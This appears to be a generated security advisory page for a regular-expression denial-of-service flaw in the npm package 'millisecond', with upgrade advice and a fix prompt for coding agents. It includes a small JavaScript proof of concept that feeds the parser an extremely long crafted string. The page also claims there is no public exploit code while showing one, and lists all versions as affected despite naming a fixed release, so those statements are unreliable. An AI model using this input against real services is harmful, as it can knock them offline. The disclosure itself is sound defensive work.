# GHSA-m489-xr35-fjxr: Regular Expression Denial of Service in millisecond


- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Fix available:** Yes
- **Published:** 22 Sep 2021

## What is GHSA-m489-xr35-fjxr?

GHSA-m489-xr35-fjxr is a vulnerability in millisecond, published on 22 Sep 2021. 

### Official description

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

## Proof of concept
```
var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");
```

## Recommendation

Update to version 0.1.2 or later.

## Which versions are affected by GHSA-m489-xr35-fjxr?

2 open source packages ship an affected version, including millisecond.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `millisecond` | npm | All versions | 0.1.2 |
| `millisecond` | npm | All versions | 0.1.2 |

## How do I fix GHSA-m489-xr35-fjxr?

Upgrade millisecond to 0.1.2 or later.

## Is GHSA-m489-xr35-fjxr being exploited?

There is no known exploitation of GHSA-m489-xr35-fjxr in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-m489-xr35-fjxr and fix it if it is affected.

What it is: GHSA-m489-xr35-fjxr is a vulnerability in millisecond, published on 22 Sep 2021. 
Exploitation: There is no known exploitation of GHSA-m489-xr35-fjxr in the wild and no public exploit code.

Affected packages and fixed versions:
- millisecond (npm): affected all versions; fixed in 0.1.2
- millisecond (npm): affected all versions; fixed in 0.1.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-m489-xr35-fjxr/ (Markdown: https://insights.sbomify.com/GHSA-m489-xr35-fjxr/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-m489-xr35-fjxr

---
From sbomify Insights: https://insights.sbomify.com/GHSA-m489-xr35-fjxr/
Summaries are generated and may contain mistakes; the official description above is the record.
